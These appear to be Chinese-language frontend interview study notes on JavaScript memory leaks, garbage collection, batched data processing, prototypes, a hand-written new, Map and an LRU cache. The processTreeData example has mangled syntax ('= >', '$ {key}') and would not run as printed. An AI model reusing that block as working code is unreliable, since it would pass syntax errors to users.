• 回流 (Reflow) 和重绘 (Repaint) 是什么？以及如何优化？｜ExplainThis

内存泄漏

定义

• 内存泄漏可以定义为程序不再使用或不需要的一块内存，但是由于某种原因没有被释放仍然被不必要的占有。

垃圾回收算法

• 引用计数: 如果没有引用指向该对象（零引用），对象将被垃圾回收机制回收。
  • 缺点: 循环引用
• 标记清除
  • 过程
    1. 垃圾回收器创建了一个“roots”列表。Roots通常是代码中全局变量的引用。JavaScript中，“window”对象是一个全局变量，被当作root。window对象总是存在，因此垃圾回收器可以检查它和它的所有子对象是否存在（即不是垃圾）；
    2. 所有的 roots被检查和标记为激活（即不是垃圾）。所有的子对象也被递归地检查。从root开始的所有对象如果是可达的，它就不被当作垃圾。
    3. 所有未被标记的内存会被当做垃圾，收集器现在可以释放内存，归还给操作系统了。
  • 缺点: 算法运行时程序执行被暂停。

常见的内存泄漏

1. 全局变量
2. 被遗忘的定时器和回调函数
3. DOM引用
4. 错误使用的闭包

排查

• 启用use strict
• 浏览器开发者工具，内存选项

参考

• 彻底掌握js内存泄漏以及如何避免前言：内存泄漏写任何语言都必须得注意的问题，我司技术老大日常吐槽:以前做游戏的改内存泄漏 - 掘金
• JS 内存泄露问题该如何排查？ · Issue #76 · pro-collection/interview-question
• JS的垃圾回收与内存泄漏 - 橙汁坤的博客 | czkm Blog

前端监控系统

wip

白屏检测

• 前端白屏的检测方案，让你知道自己的页面白了页面白屏，绝对是让前端开发者最为胆寒的事情，特别是随着 SPA 项目的盛行，前 - 掘金

参考

• 目前为止整理最全的前端监控体系搭建篇(长文预警)-腾讯云开发者社区-腾讯云
• Application Performance Monitoring & Error Tracking Software | Sentry
• 前端性能优化–卡顿的监控和定位 | Here. There.
• 不可不知的前端工程化—— 埋点&监控 - 掘金

场景题

线上的某个页面加载慢，如何优化

wip

场景题: 针对大批量的数据的优化

• 问题: 如果data数据很大，可能导致内存溢出和Minor GC阻塞渲染进程的问题。垃圾回收过程会占用主线程资源，导致渲染进程被阻塞。
• 思想:
  • 将数据分成多个较小的批次进行处理，而不是一次性处理整个数据集。这可以通过使用setTimeout或 requestAnimationFrame来分批处理数据。循环处理每个批次的数据，并在处理完一个批次后延迟一小段时间处理下一个批次.比如可以将数据分成每批100条，每批处理完后延迟10毫秒，以避免阻塞主线程。
  • processBatch函数用于处理一批数据。它会根据当前的currentIndex从keys数组中选择一批数据进行处理，并将结果存入arr数组。然后，currentIndex增加，检查是否还有剩余数据需要处理。如果还有剩余数据，则通过requestAnimationFrame调度下一个异步任务来处理下一批数据。如果所有数据处理完成，则进行后续操作。
  • 使用递归调用和requestAnimationFrame可以确保数据处理过程在异步任务中进行,在每一帧中调用 processBatch 函数，给渲染进程更多的时间进行渲染
  • 一旦处理完所有数据，调用 finishProcessing 函数,并进行视图更新
• 代码:

processTreeData(data) {
    const keys = Object.keys(data);
    let arr = [];
    const batchSize = 100; // 每批处理的数据量
    let currentIndex = 0;
    const processBatch = () = >{
        const batchKeys = keys.slice(currentIndex, currentIndex + batchSize);
        const batchItems = batchKeys.flatMap((key) = >{
            const tableData = data[key];
            const parentId = `$ {key}. * `;

            const childItems = tableData.map((item) = >({
               id: `$ {key}.$ {item}`,
               label: `$ {key}.$ {item}`,
               parent: parentId
            }));

            return [{
                id: parentId,
                label: key,
                children: childItems
            }];
        });

        arr.push(...batchItems);

        currentIndex += batchSize;

        if (currentIndex < keys.length) {
            requestAnimationFrame(processBatch);
        } else {
            this.finishProcessing(arr);
            arr = [];
        }
    };
    requestAnimationFrame(processBatch);
},

finishProcessing(arr) {
   //finish operate
},

• 好处:
  • 如果一项任务执行花费的时间过长，浏览器将无法执行其他任务，例如处理用户事件。这样就会让用户觉得卡顿
  • 可以显示进度指示
• 思路二:
  • 对于不应该阻塞事件循环的耗时长的繁重计算任务，我们可以使用 Web Workers。
  • Web Workers 可以与主线程交换消息，但是它们具有自己的变量和事件循环。
• 参考
  • 开源组件的定制化修改及优化过程记录 - 橙汁坤的博客 | czkm Blog

项目中的分片上传，如何实现的？

wip

怎么做到组件的按需引入

• treeshaking

优化图片加载闪烁

• 参考: 前端体验优化之图片加载闪烁 | ShyMean

概念

• __proto__ 是每个JavaScript对象都具有的一个属性，它指向该对象的原型（prototype）。原型链的实现就是通过 __proto__ 实现的。

作用

• 当访问对象的属性或方法时，如果对象本身没有定义，JavaScript 就会沿着原型链（通过 __proto__）向上查找，直到找到匹配的属性或方法或者到达原型链的顶端（Object.prototype）为止。

慎用

• __proto__ 是[[Prototype]]的因历史原因而留下来的 getter/setter
• 尽管 __proto__ 在历史上被广泛使用，但它在 ECMAScript 6 中被标记为过时
• 推荐使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 来访问和设置对象的原型。

prototype

概念

• .prototype 是函数对象特有的属性。每个函数对象都有一个.prototype属性，它指向一个对象。这个对象被称为该函数的原型对象。
• 当使用 new 操作符来创建一个实例时，JavaScript 会将实例的[[Prototype]]属性指向该函数的.prototype所指向的对象，从而实现原型继承。
• 默认的 “prototype” 是一个只有属性 constructor 的对象，属性 constructor 指向函数自身。

  
  function Rabbit() {}
  
  /* 默认的 prototype
  Rabbit.prototype = { constructor: Rabbit };
  */
  

作用

• .prototype 属性主要用于定义构造函数的原型对象，它包含了实例共享的方法和属性。
• 通过在构造函数的 .prototype 对象上添加属性和方法，可以让所有通过该构造函数创建的实例共享这些属性和方法。
• F.prototype 属性仅在 new F 被调用时使用，如果在创建之后，F.prototype 属性有了变化（F.prototype = <another object>），那么通过new F创建的新对象也将随之拥有新的对象作为[[Prototype]]，但已经存在的对象将保持旧有的值。

示例:

function a() {
    this.b = 3
}
a.prototype.b = 7;
console.log(b); //undefined
var t = new a(); //创建一个新的实例
console.log(b); //undefined
var b = 2;
console.log(b) //2
console.log(t.b); // 3
console.log(b); // 2
a();
console.log(b); //3

补充

• 箭头函数没有 prototype 属性

new

定义

• new 运算符创建一个用户定义的对象类型的实例或具有构造函数的内置对象的实例。 ——（来自于MDN）
• 不可以使用 new Symbol()，因为 symbol 是基本数据类型，每个从Symbol()返回的 symbol 值都是唯一的。

工作原理

当使用new调用构造函数时，会发生以下步骤：

1. 创建一个新的空对象。
2. 将这个新对象的__proto__链接到构造函数的prototype属性上，建立原型继承关系。
3. 执行构造函数，将this绑定到新创建的对象上，允许修改该对象的属性。
4. 如果构造函数没有返回对象，则默认返回创建的对象。

简单实现

function myNew(constructor, ...args) {
  // 1. 创建一个空对象，并将其原型链链接到构造函数的 prototype
  const obj = Object.create(constructor.prototype);

  // 2. 执行构造函数，并将 `this` 绑定到新对象上
  const result = constructor.apply(obj, args);

  // 3. 如果构造函数返回的是对象类型，则返回该对象；否则返回新创建的对象
  return result instanceof Object ? result : obj;
}

// 测试用例
function Car(color) {
    this.color = color;
}
Car.prototype.start = function() {
    console.log(this.color + " car start");
}

var car = myNew(Car, "black");
car.color; // black

car.start(); // black car start

代码输出题

Function.prototype.a = 1;
Object.prototype.b = 2;
function F() {
    //
}
const f = new F();

console.log(F.a); // 1
console.log(F.b); // 2
console.log(f.a); //undefined
console.log(f.b); // 2
console.log(f.prototype); //undefined
console.log(f.__proto__); //{}

参考

• 深度解析 new 原理及模拟实现 | 木易杨前端进阶

原型，原型链和实例的关系

原型链（prototype chain）

• 在 JavaScript 中，每个对象都有一个指向其原型的链接，这个链接被称为原型链。
• 当尝试访问对象的属性或方法时，如果该对象本身没有这个属性或方法，JavaScript 引擎会沿着原型链向上查找，直到找到对应的属性或方法，或者查找到达原型链的末端（Object.prototype）。

实例 (instance)

• 根据某个类或构造函数创建的具体对象
• 当实例化一个类时，你创建了一个新的对象，该对象继承了类的属性和方法，同时拥有了自己的状态和行为。每个实例都是独立的，它们之间的状态和行为互不影响。
• 示例:

  function Fn() {}
  console.log(Fn.prototype) // {}
  Fn.prototype.add = function() {
    this.count++;
    console.log(`this.count: ${this.count}`);
  };
  
  Fn.prototype.count = 0;
  
  let fn1 = new Fn();
  fn1.add(); //1
  fn1.add(); //2
  
  let fn2 = new Fn();
  fn2.add(); //3
  

原型链的性能

在现代引擎中，从性能的角度来看，我们是从对象还是从原型链获取属性都是没区别的。它们（引擎）会记住在哪里找到的该属性，并在下一次请求中重用它。

例如，对于 pockets.glasses 来说，它们（引擎）会记得在哪里找到的 glasses（在 head 中），这样下次就会直接在这个位置进行搜索。并且引擎足够聪明，一旦有内容更改，它们就会自动更新内部缓存，因此，该优化是安全的。

原生原型

• 内建对象，像 Array、Date、Function 及其他，都在 prototype 上挂载了方法。
• 在现代编程中，只有一种情况下允许修改原生原型。那就是 polyfilling。

使用给定的原型创建对象

字面量语法

Object.create

• Object.create(proto, [descriptors])
• 浅拷贝对象及其所有属性描述符（descriptors）

let clone = Object.create(Object.getPrototypeOf(obj), Object.getOwnPropertyDescriptors(obj));

参考

• 原型继承
• F.prototype
• 原生的原型
• 原型方法，没有proto的对象

概念

• 是一个带键的数据项的集合
• 允许任何类型的键（key）

常用方法

• new Map() —— 创建 map。
• map.set(key, value) —— 根据键存储值。
• map.get(key) —— 根据键来返回值，如果 map 中不存在对应的 key，则返回 undefined。
• map.has(key) —— 如果 key 存在则返回 true，否则返回 false。
• map.delete(key) —— 删除指定键的值。
• map.clear() —— 清空 map。
• map.size —— 返回当前元素个数。

迭代

• 迭代的顺序与插入值的顺序相同。与普通的 Object 不同，Map 保留了此顺序。
• map.keys() —— 遍历并返回一个包含所有键的可迭代对象，
• map.values() —— 遍历并返回一个包含所有值的可迭代对象，
• map.entries() —— 遍历并返回一个包含所有实体 [key, value] 的可迭代对象，for..of 在默认情况下使用的就是这个。
• map.forEach((value,key,map)=>{})

Map 是怎么比较键的？

Map 使用 SameValueZero 算法来比较键是否相等。它和严格等于 === 差不多，但区别是 NaN 被看成是等于 NaN。所以 NaN 也可以被用作键。这个算法不能被改变或者自定义。

Map和Object的区别

• Map可以支持任意JS数据类型作为键名，而Object只能是数值、字符串或者符号
• 内存占用： 不同浏览器下情况不同，Map大约比Object多存储50%的键值对
• 插入性能： 插入速度都不会因为键值对的数量进行线性增加，但对于大量插入操作，Map的性能更佳。
• 查找速度： 如果是少量的键值对，Object的速度更快
• 删除性能： Map在大多数浏览器引擎中删除操作较快

初始化

• 传入一个带有键值对的数组（或其它可迭代对象）来进行初始化

// 键值对 [key, value] 数组
  let map = new Map([
  ['1',  'str1'],
  [1,    'num1'],
  [true, 'bool1']
  ]);

  alert( map.get('1') ); // str1

• 使用Object.entries：从对象创建 Map

    let obj = {
    name: "John",
    age: 30
    };
  
    let map = new Map(Object.entries(obj));
  
    alert( map.get('name') ); // John
  

• 反过来，使用Object.fromEntries：从 Map 创建对象

  
    let map = new Map();
    map.set('banana', 1);
    map.set('orange', 2);
    map.set('meat', 4);
  
    let obj = Object.fromEntries(map.entries()); // 创建一个普通对象（plain object）(*)
    //可以更短
    // let obj = Object.fromEntries(map); // 省掉 .entries()
  
    // obj = { banana: 1, orange: 2, meat: 4 }
  
    alert(obj.orange); // 2
  

实现

可以使用两个数组（一个存放键，一个存放值）来实现。给这种映射设置值时会同时将键和值添加到这两个数组的末尾。从而使得键和值的索引在两个数组中相对应。当从该映射取值的时候，需要遍历所有的键，然后使用索引从存储值的数组中检索出相应的值。

但这样的实现会有两个很大的缺点：

1. 赋值和搜索操作都是 O(n) 的时间复杂度（n 是键值对的个数），因为这两个操作都需要遍历全部整个数组来进行匹配。
2. 可能会导致内存泄漏，因为数组会一直引用着每个键和值。这种引用使得垃圾回收算法不能回收处理他们，即使没有其他任何引用存在了。

基于Map的LRU缓存实现

class LRUCache {
    constructor(capacity) {
        this.capacity = capacity;
        this.cache = new Map(); // 用于存储缓存
    }

    get(key) {
        if (!this.cache.has(key)) {
            return -1; // 如果不存在，返回 -1
        }
        // 如果存在，将该键值移到末尾表示最近使用
        const value = this.cache.get(key);
        this.cache.delete(key);
        this.cache.set(key, value);
        return value;
    }

    put(key, value) {
        if (this.cache.has(key)) {
            // 如果已存在，先删除旧的
            this.cache.delete(key);
        } else if (this.cache.size === this.capacity) {
            // 如果缓存已满，删除最旧的（第一个）
            this.cache.delete(this.cache.keys().next().value);
        }
        // 添加新值到缓存
        this.cache.set(key, value);
    }
}

// 使用示例
const lruCache = new LRUCache(2); // 创建容量为 2 的 LRU 缓存
lruCache.put(1, 'A'); // 缓存是 {1: 'A'}
lruCache.put(2, 'B'); // 缓存是 {1: 'A', 2: 'B'}
console.log(lruCache.get(1)); // 返回 'A'，缓存变为 {2: 'B', 1: 'A'}
lruCache.put(3, 'C'); // 取消键 2，缓存是 {1: 'A', 3: 'C'}
console.log(lruCache.get(2)); // 返回 -1（未找到）
lruCache.put(4, 'D'); // 取消键 1，缓存是 {3: 'C', 4: 'D'}
console.log(lruCache.get(1)); // 返回 -1（未找到）
console.log(lruCache.get(3)); // 返回 'C'
console.log(lruCache.get(4)); // 返回 'D'